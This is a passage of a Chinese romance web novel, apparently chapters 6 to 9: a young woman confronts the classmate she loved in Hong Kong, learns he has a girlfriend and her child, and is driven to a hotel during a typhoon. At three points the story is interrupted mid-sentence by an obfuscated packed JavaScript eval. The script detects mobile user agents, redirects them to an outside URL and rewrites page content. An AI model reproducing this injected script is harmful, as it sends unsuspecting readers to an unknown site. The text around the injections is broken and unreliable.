就跟他的人一样,很容易让人放下戒心。 小初习惯了坐车子后排,上车的时候下意识就打开了后排车门,直至他载她过了路程的一半她才有所察觉,赶紧不好意思地道歉:“我得解释一下啊余先生,我坐后排并没有把你当成司机的意思。” 余萧弋从后视镜看了她一眼,笑:“没关系,我这本来不就是个司机吗?一会儿记得把车费A我就行。” 小初说:“放心,不会赖你账的。”又说:“你用微信吗?收款码给我一下。” 他微不可察地翘了翘嘴角,“当然。”下一个路口等红灯时,就调出二维码来,将手机递给她。 小初从善如流地扫了描。 然后睫毛就动了动。 那不是一个收款码,而是他的微信名片。 令她意外的是,他的昵称Theo.Y后面竟然也有一条鱼的符号,只是线条更简洁些,看着也更快乐些。 她和他之间实在有些缘分妙不可言的意味,她这个向来以理性和逻辑占主导的大脑,有一瞬间的宕机。 而后,为了避免气氛尴尬,她也没有拆穿他,直接加了他为好友。 两人都没再说话。 车载电台在播放歌曲,小初听出来,好像是《少女的祈祷》。 她有些怔忡,从包里拿出两只唇釉来,一只鲜艳,一只清透。犹豫了一会儿,她最终还是选了那只裸色的。 真到了那栋公寓楼下,小初反而有些踌躇。 她和叶子瑜已经太久未见,对他的印象还停留在去年夏天两人一起去北锣鼓巷吃川菜的情境里。 那是一家分段经营的小餐馆,门面其貌不扬,菜品却实在惊艳,整座城市那么多家川菜馆,这么多年真留在她心里的,好像也就只有它。 也是奇怪,她后来努力回想,却怎么都想不起那天的叶子瑜是什么发型,穿的什么衣服,笑起来有多好看,又和她说了什么话。 她想起的都是锅气十足的小炒鸡,开胃入味的酸萝卜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309752|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老鸭汤,以及晚上小酒馆里口感特别的各种进口啤酒。 那晚她喝了很多酒,然后任他送她回家。 他们一起坐在车子后排,从二环一路向北,她先到家,司机又送的他。 第二天直睡到日上三竿,等她醒来,他已经踏上飞往香港的飞机,两人从此分散。 她后来在微信里问他,那晚她跟他说了什么不可饶恕的醉话没有。 他答:“没有,又不是喝多了就必须说醉话,你放心,咱俩酒品都很好。” 小初说:“就算你酒品不好,我还能打你不成。” 他答:“那不行,在老同学面前那么没品,我成什么了。” 小初没再回。 余萧弋见小初半天只望着车窗外的建筑发呆,不禁出言提醒:“方小姐?” 小初回过神来,推开车门。 外面的雨丝立刻飘了进来。 “你等下。” 余萧弋大踏步下了车,绕到车尾从后备箱拿出一把长柄的黑色雨伞来,砰的一声撑开,然后才绕到小初这边,遮在她的头顶:“你的脚怎么样,要我陪你上去吗?” 小初摇摇头,“还要拜托余先生帮我拿一下行李箱,刚刚三百块已经给你转过去了。” 余萧弋一愣,“你给的太多了。” 小初有些心不在焉,“麻烦你了。” 余萧弋抿了抿唇,问她:“你大概需要多久?” “什么?” “我说你会在上面陪你喜欢的那个人多久?” 小初忽地一下红了脸,“你怎么知道?” “这世上聪明人总比蠢人多。” 小初说:“大概半个钟头。” 他说:“那好,我在这等着你。见喜欢的人,瘸着一条腿就够可怜了,还要拖着那么大一个箱子,陌生人看了都要替你哭一场。” 又说:“我猜你箱子里大部分都是书吧?放心,我对别人的书没兴趣,绝不会偷走的。万一食言,你可以报警,反正你手机里有我身份信息。” 小初咬了咬牙。 这人的嘴怎么也这么毒?亏她还以为他是什么翩翩佳公子。 “万一你给我的证件是假的呢?” 余萧弋想了想,“那要不你再拍下我的车牌?我总不敢挂假牌上路吧,就算车子不是我本人的,你总也可以在交通署查到车主信息。” 小初立刻照做。 余萧弋也不恼,还好心提醒她,“拍清楚一点。” 小初说:“你抬头,我再拍一张你,做三重保险。” 他怔住,彻底被她打败。 小初磊落收起手机,“OK,那就麻烦你等我一下,半个小时之内,我肯定下来。” 余萧弋没好气把伞塞到她手里,“愿你顺利。” “余萧弋。”小初突然喊他名字,“谢谢你。” 他没吭声。 小初在上行电梯里模拟一万种一会儿敲开门时叶子瑜可能会发生的情景,却还是猜错。 而且是大错特错。 因为她怎么也没想到,开门的会是一个三四岁的小男孩,粉雕玉琢的,看着还挺可爱。 他看见她,也不害怕,只瞪着忽闪忽闪的大眼睛盯着她瞧,并用英语问道:“你找谁?” 小初退后半步,直至确人门牌号没错,才答他:“我找叶子瑜。” 她想起来,这边的学生基本都会找合租室友来分担房费,只是她有点不懂,他为什么会找一个带小宝宝的,这样不会被影响到学习吗? 小男孩听了立刻回过头去朝里面大声喊到:“妈咪!” “发生什么事?”是一个女人的声音。 小男孩回了句粤语。 小初下意识再退后半步,胸腔里是什么东西在崩塌瓦解的轰鸣声,又像是某种动物正在烈焰中痛苦挣扎,她尝到了血腥的滋味。 紧接着,一个短发齐肩,妆容素淡,穿白衬衫和牛仔裤的漂亮女人就已经到了面前。 她的手上还戴着厨房的隔热手套,似是正在煮什么东西。 还未待小初说话,对方已然率先开口,嘴角的弧度无懈可击,“你好,方小姐是吧?他等你好久了。” 7. 第 7 章 小初僵硬地跟着女人走进客厅的时候,叶子瑜正单只脚笨拙地从卧室里跳出来。 无端让人想起宫崎骏笔下的稻草人。 本来愤懑又失望的情绪,在见到此等模样的他时竟然瞬间就溶解开来,小初别过头去,足足半分钟,才将心底不断翻涌和叫嚣着的酸涩咽回去。 事已至此,她这样又算什么。 余萧弋不是第一个用“率真”来形容她的人,但她觉得此刻的她更接近的那个词应该是“莽撞”。 莽撞地敲开一扇没有自己容身之处的门,再狼狈地退出去,假装一切没有发生过。这不是,也不该是她等了那么多年,她和他之间应该有的结局。 她宁愿他说她一句“傻子”,再把她拥入怀中,然后两人抱头痛哭,前尘往事只当云烟,从眼下这一刻重新开始计算,只往前看。 但,这不过是一个自以为是的暗恋者,临死前的幻觉罢了。 她已得到那个答案。 其他的,不重要了。 “怎么样,这一路累坏了吧?”叶子瑜斜倚在沙发靠背上,下巴微扬,眼角含笑,表面上和当年那个骄傲又不羁的少年别无二致。 可惜小初视力太好,只看见他脚下满地的儿童玩具。 “还好,两边的天气都不太好,耽误了点时间。”小初努力勾了勾唇,并微微欠身和那个女人点了点头,“实在失礼,叶子瑜也没跟我说明情况,导致我都没给小朋友带什么礼物。” 女人似是没想到她会作此反应,眉间都是讶异之色,但很快被她掩饰下去,“方小姐你太客气了。” 她的普通话听上去非常费力,小初甚至怀疑她的舌头此刻都是打着结的,但态度还算温和,并没有对她这个不速之客表现出任何不耐烦的神色。 “打扰了。”小初再次点点头。 叶子瑜说:“忘了帮你们介绍,这是我女朋友陈沅君。”又朝陈沅君弯了弯眼角,“这就我之前跟你说过的,我中学时的同学,方太初。她可是我们学校的传奇,超级大学霸来的,让所有人望尘莫及的那种。” 陈沅君说:“快请坐,方小姐。” “谢谢。”小初机械地靠着沙发一角坐了。 那个粉雕玉琢的小男孩却似乎不太满意,跑过去抱住叶子瑜的大腿,抗议道:“你都没有介绍我!” 小初尴尬得简直不知道该看向哪里。 “是我错。”叶子瑜温柔地摸了摸孩子的头发,郑重和小初介绍,“这是Oliver,我们家的小王子。” 这一刻的他,比她认识的那个他至少长大了十岁。 小初有些微怔。 陈沅君端过茶来,放在茶几上,热情招呼道:“方小姐饮茶。”又示意小男孩,“走,妈咪带你出去买你那天想买的工仔玩具好不好?” 小男孩立刻雀跃起来。 叶子瑜担忧地看了眼窗外,转向女友,“要下大雨了,别带他出去了。” 陈沅君说:“今天不出去才是两三天都出不了门呢,到时候又不知他会有多吵,你别管啦,好好和方小姐叙叙旧,我们很快就回来。” 小初简直坐立难安,“陈小姐不必如此,时间已经不早了,我说两句话就走了。” 陈沅君说:“没关系,你们聊。” 然后就带小男孩去了门厅,出门之前还没忘叮嘱叶子瑜,让他看着时间别把厨房的三七炖鸡炖过了火。 小初倏地垂眸下去,越发觉得自己莽撞。 叶子瑜有些不安,眼神一直追随着她的背影,“阿沅。”只是喊她的名字似乎都蕴藏着无限深情 ,“你早点回来。” 陈沅君似是有些无奈,“好啦,我知道啦。” 小男孩说了Bye-bye。 门终于被关上,空气一下子陷入了尴尬与静寂。 两人的视线都定格在虚空中的某处,唯独不敢看对方的眼睛。 这样画面无异于告诉小初,他对她也未必坦荡到完全问心无愧,于是更加难过。 想起他们也曾有过的无话不谈的日子,她忍不住慢慢红了眼睛,半晌才说:“你应该早点跟我说你有女朋友了的。” 叶子瑜双肘撑在膝盖上,听见这句才慢慢抬起头来看向她,面色有些苍白,“你要我怎么说?” 小初蹙了蹙眉,“怎么,陈小姐在你这儿这么拿不出手吗?” 叶子瑜说:“跟她无关,是你我之间的问题。” 小初心头一刺,“你我之间有什么问题?” “你不觉得没有问题才是最大的问题吗?你又从没说过你喜欢我,我哪来的脸……” 他缄口,不再往下说。 小初不敢相信自己听到了什么,整个后背都变得僵直,感观也变得极为敏锐。厨房的砂锅气孔正在蒸腾的热气,一点点蔓延到客厅来,将她和他笼罩其中。 她神色复杂地看了他片刻,只觉得万箭穿心似的难过。 原来他什么都明白。 可是,喜欢二字难道是需要用嘴说出来的吗?她喜欢他这件事,几乎已经无异于明月高悬只独照他一人了,如此皎洁直白,不比什么言语都更容易理解吗? 还是说,他一定要她亲口说出来,才能积攒起足够的勇气面对她? 如果真是如此,她倒也不吝啬于比他更先表白,她从没在意过那些形式上的东西,更不怕他会因此生出什么骄傲来,只是现在,她茫然地打量了一下眼前这个虽然逼仄不堪却又处处流露着温馨的、他和别的女人的小家,她还能说什么? 她又能怎么样? “方太初,对不起。”叶子瑜突然道歉。 “别,你也没有对不起我什么。” “其实,尽管你什么都没说,我也都明白。你知道的,男人都会装傻。” 小初双手紧紧握着茶杯,直握到指节发白,但还是没忘制止他:“不要说出来。” 叶子瑜轻笑,“你想知道我们俩这么多年为什么一直都没有走到一起吗?” 小初难以置信地看向他。 “还有,都到了这个份儿上了,你都不想问问我到底有没有喜欢过你吗?” 他太过分了! “你是不是香港待久了,连电视剧台词都会背了,那句你是否钟意过我,不都是女主角临死之前才会问出口的台词吗?” 小初讥诮:“你放心,我方太初没那么脆弱,我喜欢你这件事过去几年人尽皆知,从此以后我向你保证,它再也不会成为你的困扰!” 可他却话锋一转,突然说道:“我当然喜欢过你,不戳破,是因为我舍不得,还想若无其事和你做朋友。” 他,到底,知不知道,他在说什么? 有些话一定要说得这么直白吗? 小初忍得很辛苦,才没有把手心里的茶泼到他脸上!刚刚那个带着小男孩走进雨夜的可怜女人,知道他会如此卑劣和无耻吗? “我喜欢你,也不难理解吧方太初,想必你自己也清楚你有多耀眼吧?想当初,就因为和你走得太近,我还被人堵在胡同里暴揍过。” 小初愣住,“什么时候的事?谁干的?” 他们怎么不把他打死? “这不重要。”叶子瑜摆摆手,“我其实更想说的是,我喜欢你,就像我喜欢太阳喜欢风,喜欢路边盛放的一朵花,喜欢天上自由的一只鸟一样,从没想过要据为己有,你能明白吗?” 小初说:“我不明白。” 叶子瑜深深看她几秒:“一开始,我也不明白,直至后来遇见阿沅。” 小初轻笑,“这是要给我细数你的罗曼史了?” 未待他回答,她已骤然收起笑意,一双本就黑白分明的眼睛,瞬时变得无比深邃,“叶子瑜,你好歹也是个北京男人,这个时候就不必非杀个回马枪|刺穿别人的心脏了吧!你就大步向前走你的,不好吗?从此你我路归路桥归桥,我可以遥祝你扶摇而上鹏程万里的,你要是觉得我还不够诚心,等我回去就去雍和宫帮你烧个香!” 叶子瑜神色古怪地看她一眼,语气有些无奈,“小姐,你就不能听我把话说完吗?” “不能,我该走了。”小初起身,不再看他,“你好好保重,有空多给家里打打电话,连筝阿姨她们都很想你。” 叶子瑜气急,想起身去拦她,却忘了那只受伤的腿,疼得他“嘶”的一声,又跌坐了回去。 “你怎么样!”小初三两步跨到他身边,也忘了自己的脚踝还受着伤,一阵刺痛传来,她蹙了蹙眉,生理性眼泪差点没流下来。 叶子瑜说:“没事,死不了。” “死了倒好。”小初低声说。 “你还说,要不是急着去接你,我能碰上这糟心事吗?这么多年的感情我用一条腿还了还不够吗?” 小初瞪他一眼,“怎么,你这是好不了了是吗?” “你难道就不会好了吗?”叶子瑜声音放轻,“小初,你会比我更快痊愈的。” 小初的眼泪瞬间就决了堤。 “你知道我为什么放弃了去美国吗?”叶子瑜递给她一张纸巾。 小初没拒绝,接过来擦了擦,故意刺他,“因为你的阿沅在香港。” “因为我妈,我亲妈。”叶子瑜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶子瑜被她的真诚和磊落打动到,抿了抿唇,“不用,我可以的。” 小初点点头,“快点好起来,我不想天天记着我还欠别人一条腿。” “我会的。” 走到门口,她突然又想起什么,回头问他:“阿沅是不是比你大好多?” “十一岁。” “你最好保证你是真的爱她。你们家的小王子应该还不超过四岁吧?你不懂这个年纪的孩子看着母亲身边的异性不断出现又消失的滋味。” 小初顿了顿,压抑住心底那丝不为人知的脆弱,“可我懂。” 叶子瑜愣住。 “再见,子瑜。” 她帮他从外面轻轻合上门。 然后才一瘸一拐走向电梯。 香港的小公寓电梯厢极为狭窄,速度却极快,她突然发现,离开一个人,原来可以这么简单。 只需要一个电梯下行键。 她跌跌撞撞走出大楼,尽管心情依旧沉重又难过,但她没有再哭。 雨仍在下。 她撑开伞,遮在头顶。 “方小姐,你超时了。”余萧弋降下车窗,目光落在她雨伞边缘。 却也只看见她若隐若现的一截下颌,柔和中还带着些许脆弱。这一刻,中式留白的高级美学瞬间绵延开来,在他面前舒展成一副独一无二的山水画卷。 未等她走近,他就鬼使神差下了车,帮她打开了后排的车门。 小初这才将伞向上抬了几寸。 “久等了余先生。” 他笑,“你再不来,我是真的可能把你的书都据为己有了。” 小初坐上车,神情已极度疲惫,“麻烦,帮我载到最近的酒店。” 余萧弋启动发动机。 半晌才问她:“你喜欢的那个人见了你,有没有好一点?” 小初也觉得荒唐,“没有,他的同居女友看上去比我更会照顾人。” 余萧弋同情地看她一眼,“啊?那你还好吧?” “还好,这世上只是没有多一个更幸福的人而已……嗯,是多了三个。” 余萧弋没想到她都到这会儿了还能这么幽默,心跳像是被谁牵引了一下,“三个?” 小初托腮望向车窗外。 “嗯。他,他女朋友,还有他女朋友四岁的儿子。” “……”余萧弋透过后视镜看她一眼,“方小姐你,还真豁达。” 8. 第 8 章 车子还未驶过两个街区,雨势已经大到雨刮器失灵。 车载电台不遗余力提醒着市民,热带气旋外围环流正极速袭港,今日至明日持续有强阵风和雷暴骤雨,如非必要,切勿外出。 小初听了心里很是过意不去,歉然道:“实在抱歉余先生,要不是因为我,你也不需要这个时间还在外面奔波了。” 余萧弋看上去倒还算淡定,尽管此刻行车已经非常艰难,“没有关系。”他透过后视镜朝她笑笑,“还有,你不必每句都叫我余先生,恐怕我也比你大不了几岁,你叫我名字就好。” 小初腹诽,可不是没比她大多少嘛,一岁多而已,他若还是个学生,大概率本科都还没有毕业,真论资排辈起来,说不定还要叫她一声学姐。 她想了想,问他:“所以,Theo是你的英文名字?” 他答:“是。”又问她:“你的呢?” “我没有英文名字,就叫方太初。‘太初有无,无有无名’的太初。《庄子》定义它为宇宙生成前无形无名的状态。” 余萧弋笑:“那你爸妈一定有一个是哲学家。” 他情绪太稳定,小初逐渐放松下来,下巴也不自觉抵在了前座的座椅靠背上,看向斜前方他的侧颜,“哲学家不哲学家的不好说,我只知道我爸有个表哥的儿子叫宇宙,他们家大概就是这个风格,也不管自家孩子的福气压不压得住这样的名字。” 余萧弋似是没想到她会这么说,微微惊讶后将笑意敛起,“不许胡说。” 他蓦地这么严肃,小初倒觉得有些莫名。 她其实就那么一说,并没有怎么把它当回事,转念一想香港人向来比较传统和迷信,可能是有点听不得人说话不避谶,也就挑了挑眉没再接话。 方协文的电话恰好这会儿进来,余萧弋体贴地关掉了车载电台,小初感激地看了他一眼。 电话那边的方协文应该是刚开完会,声音听上去极为疲惫,但也没妨碍他一上来就问她飞机延误了多久,姓叶那小子有没有去接她,他们吃了什么饭,现在人在哪里,是一个人,还是两个人还在一起,他看天气预报说,香港正在台风过境,她有没有找个好点的酒店早点休息。 明明每一句都是关心,却又字字都精准踩在她的心理边界线上。 就连一旁的黄亦玫都听不下去,替她抗议:“方协文,你闺女已经二十岁了,你能不能给她留点属于自己的空间?” “她八十岁也是我闺女。”方协文嘟囔:“你以为现在的男孩还像我们这代人年轻的时候满脑子都是纯爱呢?” 黄亦玫揶揄:“这孩子还是从小和你闺女一块长大,家庭和品行都无可挑剔的,这要是换成别人,你还要焦虑到发疯?寸步不离地跟着?” 方协文说:“你不懂一个曾把姆爷的《Mockingbird》循环过一万遍的男人心里在想什么。” 黄亦玫似是很惊讶:“你的音乐品味现在已经到这个高度了吗?我倒要去听听这是一首什么歌。” 说完又拿过电话跟小初说:“好啦你去忙你的吧,初来乍到一个不熟悉的环境难免水土不服,一定要照顾好自己,如果遇到什么难题也不要自己硬扛,我和爸爸随时可以飞过去。” 小初有些哽咽,说了声:“好,知道了。” 电话挂断。 今天的她格外脆弱和孤独,竟无比贪恋电话那端父母的声音传递过来的温暖,连她爸如此干涉她隐私,都没有进行只言片语的反驳。直至挂了电话她才后知后觉,她这么反常,岂不是更让他们担心?早知道刚才好歹应该回几句过去的。 下一个路口红灯亮起,余萧弋才递了张纸巾过来,也没多问别的,只说:“擦擦吧。” 小初接过来,也不解释,问他:“我们离酒店还有多远?” 余萧弋苦笑:“正要和你说,我其实一早约了人在绮丽谈事情的,现在已经过了约定时间,对方最恨人迟到,肯定要大发雷霆。所以我想和你商量商量,能不能稍等我半个钟,等我敷衍完她再送你?” 敷衍这个词就很微妙,小初睫毛动了动,又看了看表——此刻已经接近夜里十点钟,她想不通什么事情偏要这个时间谈,下意识问他:“余萧弋,你是做哪一行的?” “啊?”余萧弋似是根本没听懂她的弦外之音,兀自答得认真:“无所谓哪一行,都要有基本的时间观念吧?” “只要半个钟就够吗?” 余萧弋想了想:“我尽量快点,不让你久等。” 小初神色古怪地看他一眼,好像突然有点明白他为何如此让人如沐春风了。她听说现在专有一种男女,只要客人给的价码足够高,他们可以飞全国提供服务。 他这么年轻好看,行事又如此光风霁月,还精通粤语英语和普通话,能约到住在绮丽的客人,倒也有迹可循。 小初抿抿唇,不知怎么就有点惋惜,她仔细想了想,大概就像常人看见明珠蒙尘时的感觉。 余萧弋仍在等她的回答:“可以吗?” 小初不想因为自己耽误别人的正事,于是点点头:“半个钟我是可以,只是我怕你也会像我一样超时。” 她才不信对方会那么快放过他,若对方不放手,她难道要在车里一直等?那她这一天才是荒谬到底了,于是她说:“算了吧,我就住绮丽好了。” 余萧弋看她一眼,似是不知道该怎么开口:“只是我要提醒一下你,绮丽……有点贵。” 小初之前从没有在酒店这类事情上操过心,不禁也有些拿不准,问他:“有多贵?” “普通客房估计也要五六千港币一晚,这个天气,你怎么也要住上三晚。”似是看到小初有些犹豫,他又马上说:“不过,我倒是可以想办法帮你打个折。” 看来,他那位客人果然非同一般。 小初稍稍安心,本来听他那么说,她还以为要几万块一晚,如果是那样,她倒是真得考虑考虑,不是以他们家如今的条件住不起,而是她一个二十岁出头的单身女孩,住几万块一晚的套房,难免招摇,而她并不想太招摇。 “先进去问问价格再说,如果接受不了,我就自行打车去别家好了,余先生忙你的就好,不用再管我。”小初飒然一笑,“已经够麻烦你了。” 余萧弋没再说话,几分钟后,车子平稳停在绮丽的大堂门口。 小初开门下车,这才发现她们身后跟的就是一辆迈巴赫,她到这儿才是真的有点佩服余萧弋的心理素质了,因为即使开了这么一辆略显寒酸的车,他竟还能淡定地将车钥匙交给酒店工作人员让对方帮他泊车。 取了行李箱,两人便一块迈步走进了酒店大堂。 小初惊讶于这家酒店豪华又不失艺术感的设计,连连在心里感叹着设计师的审美,一直在左右环顾,根本没有注意到前台的工作人员已经在和余萧弋搭话,“Theo你终于来了,Rebecca已经等你很久了。” Rebecca,小初无端在脑海里勾勒出一个猫眼蜂腰、浑身名牌、慵懒娇慵的贵妇形象。 余萧弋说:“我马上就上去。”又看了看小初,说:“这是我朋友,请帮忙看一下是否还有合适的客房。” 工作人员诧异地看了小初一眼,在她发现之前已然收回目光,看上去极为专业:“好的,我看一下。” 余萧弋说:“麻烦。” “不知道小姐有什么需求?” 小初意识到对方是在和自己说话,这才将目光从一个造型别致的摆件上收回来,笑笑说:“没有太多要求,能住就行。” 工作人员疑惑地看了看她,似是没听懂,又转向余萧弋。 他斟酌片刻,回过去长长一串粤语。 这一次,轮到小初没听懂。 工作人员颔首,态度极为恭谨,没一会儿就用普通话问小初:“小姐,现有一间海景房,面积倒不大,但远离升降机好安静的,价格是1900港币,请问可以吗?” 一千九?这么便宜? 小初被惊到,并迅速在Rebecca的画像旁边添了一行小字——大佬出没,请小心。 “我是可以,只是……”她问余萧弋:“会不会太麻烦你?这折扣似乎有点太大了,万一Rebecca一会儿借此向你讨人情,你……”她的目光不经意滑过对方的腰和腿,“吃得消吗?” 话音一落,她就听见工作人员一阵剧烈的咳嗽,咳嗽得脸都红了。 小初懵懵懂不知发生了什么事,问道:“你还好吧小姐?” 工作人员极力忍住咳嗽,说:“没事,麻烦小姐证件给我一下。” 小初将证件递过去,又隐约觉得哪里不对,求助似的转身过去,却发现余萧弋正意味不明地看着她,眼底都是凉意。 “Theo,你怎么了?”她有些奇怪,并感觉后颈有些冒风。 “没事。”他近乎咬牙切齿。 小初不明所以:“你要不先上去?别让Rebecca等急了。” “不用。”他无语地看她一眼。 五分钟后,两人一起上了电梯,直达三十九层。 小初没想到她的客房就在他的隔壁。 只是不知道为什么,直至两人各自开门进了自己房间,他都没有再和她说一句话,气场也由之前的温润变成了冷峻。 小初虽然有些敏感,却从不做泛泛之交的情绪海绵,所以也并未将他突如其来的不开心放在心上,只是径直推开房门。 下一秒,维港夜景就透过大大的玻璃窗映在了她眼底。 小初蓦地怔住。 这一千九的人情,是不是有点太大了?她可别害余萧弋被那个Rebecca折腾死! 发了几分钟呆之后,她意识到事情已经无可转圜,索性也不再去想那么多,就那么直挺挺躺在了柔软的床上,一边想着这一天发生的荒唐事,一边俯瞰维港的夜景。 外面依旧狂风大作,暴雨滂沱着,可这一刻,她躺在这里,却似一叶扁舟驶入宁静港湾,外界的纷乱再也打扰不到她分毫。 不知过了多久,似是几分钟,又似是半个小时,她终于被房门外的一阵敲门声拉回了现实。 “谁?” “我,余萧弋。” 小初的眸子不动声色地一闪,却未起身,只隔着门问他:“什么事?” “我有几句话要和你说,说完就走。” 小初坐起身来。 犹豫了一会儿,到底还是起身去给他开了门,她早说的,不能欠人人情,不然她现在何必顾忌他的感受,充耳不闻让他自讨没趣就好了啊。 只是她没想到,这么短的时间,他竟然还换了身衣服。 她从未见过这样的装束,一件极为笔挺的黑色交领衬衫内竟还有一件白色衬衫,领口被一条黑色领带一丝不苟地束着,然后两件衬衫又一同被扎进黑色西裤,只稍稍这么一修饰,就将他宽肩窄腰长腿的身材优势发挥了个彻底,更另有一股禁欲疏离的气质流露出来。 小初虽不经人事,却也已经忍不住在想,一会儿的Rebecca见了他眸色得幽深到什么程度。 这谁顶得住? “方太初。”他无比郑重地喊她的名字。 小初神色一凛,不知他意欲何为,只是用膝盖死死抵着门,只留一条窄窄的门缝给他,“什么事?” 他不说话,只是那么定定地看着她。 小初不自觉捏紧了领子,“到底什么事?你不说我要关门了……” “你是不是以为我和Rebecca有什么不可告人的关系?” “啊?”小初愣住。 “你别装傻,你就说你刚才是不是那个意思?”他呼吸不稳,耳垂泛红,再也不似之前那样端方克制。 “主要你这……”小初的声音越来越低,“的确让人浮想联翩嘛……” 他冷笑,“而你甚至都不认识Rebecca。” 小初问:“她是不是个豪门贵妇?” 余萧弋呼吸一滞,“是。” “那不就完了嘛!你又委屈什么?多少人求之不得呢!”小初说完忽觉自己越描越黑,不禁垂下嘴角,“对不起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309754|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 余萧弋没好气看她一眼,“我在你印象里就是这种人?” 小初立刻赔笑:“没有没有。” “我和Rebecca不是你想象的那种关系!” “我错了余同学,你就大人不记小人过吧。”小初感觉她这辈子就没和任何人这么低声下气说过话。 余萧弋无可无不可地垂眸看她一眼:“余同学?” 小初反问:“你难道不是还在念书?” “那你呢?截止到现在,你不仅拍了我的证件和车牌,还拍了我本人的照片,可我对你还一无所知,你觉得这公平吗?” “我?”小初眯了眯眸子,“萍水相逢而已,就不必知道那么多了吧?” 余萧弋却似乎并未打算放过她:“先说说看,然后我再做决定。” 小初咬了咬唇,顺嘴胡诌:“实话实说,我是背着家里出来和心上人私奔的。” “然后发现对方变了心?” “余同学果然聪明。” “那你接下来打算怎么办?” “随便混几天就打道回府呗,你知道的,父母总会原谅子女。” 余萧弋沉默了一瞬,“所以,你只能在香港停留七天?” 小初本不想骗他,可话已至此她已别无选择,:“差不多。” “只七天箱子需要带那么多书?” 小初否认,“我从没说过那里面是书吧?” “那是什么。” “说不定,是某个雄性动物的骸骨。” 余萧弋不再说话。 小初轻声提醒:“余同学,时间不早了。” “晚安。” “晚安。”小初已经打算关门。 忽听他又问道:“ 那你这七天,打算怎么过?” “啊?”小初不知道怎么去编一个她从没想过的答案。 “不然,我带你香港到处玩玩?” 小初犹疑了下,想着自己台风过境后还要第一时间去学校报到,游玩是肯定没有时间的,于是谢绝,“不必麻烦了,七天很快就会过。下次你去北京,我倒是可以做东道主。” 这一次,还未等他回答,她就关了门。 然后,没一会儿,她就听到了他渐行渐远的脚步声,往电梯间方向。 小初轻笑一声。 也不知待会Rebecca扯着他的领带一步步跌入他怀中的时候,他还能不能那么义愤填膺,否认两人之间的暧昧关系。 不过,她也懒得去操心别人的人生,打开浴缸的水准备泡澡。 这五星级的酒店服务的确好,精油浴盐和洗护用品都是名牌,没一会儿,小初就沉入了绵密泡泡中,舒服地闭上了眼。 不知过了多久,她才想起她爸刚说的那首姆爷的什么歌,将手机播放器连接到蓝牙音箱上。 她是听到那句“Now hush little baby don''t you cry,everything''s gonna be alright.”开始爆哭的。 并一发不可收拾。 也是奇怪,失恋的的痛苦还未真正伤到她分毫,亲情却轻而易举就让她丢盔弃甲。 她想人生果然不能跳格去经历,就如同现在的她,二十岁竟还要还十六岁时欠的债。 从小到大被太多人偏爱着长大,反而让她不知该怎么去接受这世上竟然也有人不爱她。 叶子瑜,叶子瑜。 她轻声呼唤他的名字,就这么躺在恒温浴缸里沉沉睡去。 直至,她再次被一阵敲门声吵醒。 小初有些懵,发现自己的皮肤已经被泡出褶皱。 她披上浴袍,就那么湿漉漉地走向房门,扣着安全链将门打开一条缝。 果然又是他。 “什么事?” 余萧弋隔空与她对视了几秒,又不自然地别开视线,“方小姐,很晚了。” “哦。”小初问,“几点了?” “凌晨三点。” 余萧弋的声音听不出什么情绪。 “竟然这么晚了?”小初拍拍脑门,而后眼底又滑过一丝意味不明的狡黠之色,“余萧弋,我就说你肯定会超时吧?” “……”余萧弋不知道自己此刻该不该和一个神志不清的人计较。 “我已经回来很久了。” 小初说:“哦。” 余萧弋说:“我本不需要和你解释。” “那就别解释。” “可你能不能把你房间的音乐关小声一点?我被你吵得睡不着。” 小初愣了愣,下一秒就炸了毛,“你胡说什么,这么好的酒店隔音会这么差?” 余萧弋有些无奈,“咱们两个的房间是连通房,中间只有一道木门。” “你说什么?”小初立刻难以置信地合上了门,并大踏步走向房内,巡视了一圈,才找到余萧弋所说的那道门。 令人无语的是,房门还是朝他那边开的! 她赶紧试着旋转了一下门把手。 “放心,门是打不开的。” 余萧弋的声音隔着那道门十分清晰地传了过来。 小初被吓了一跳,险些跌倒。 “麻烦,把音乐关掉可以吗?” 回过神来的小初瞬间化身一只被踩了尾巴的小猫,喵呜一声跳到了浴室,并手忙脚乱断开了手机蓝牙。 如果她说半夜扰民并不是她故意的,他会相信她的,对吧? 余萧弋的微信适时跳了出来,“多谢,虽然已经睡不太着了。” 小初抿抿唇,“那你试试数羊。” 他很快回过来,“那你困吗?” “还好,刚刚不小心在浴缸里睡着了。” 他又回,“那你饿不饿,这家酒店的夜宵可以提供到早晨六点,要不要干脆一块上去吃碗面?” 小初的眼皮骤然一跳。 说好的她只能在这边待七天。 他的情绪价值到底有多么过剩,需要如此不遗余力地到处兜售? 9. 第 9 章 折腾了这一整天,小初还真有点饿了,于是她只稍微犹豫了一下就爽快答应了他的邀约。 反正,她和他的交集也就仅限台风过境这两三天,妈妈说,人都是需要朋友的,她就当自己是船只触礁不小心流落到荒岛的鲁滨逊好了,哪个鲁滨逊不需要一个英俊又可爱的星期五呢? 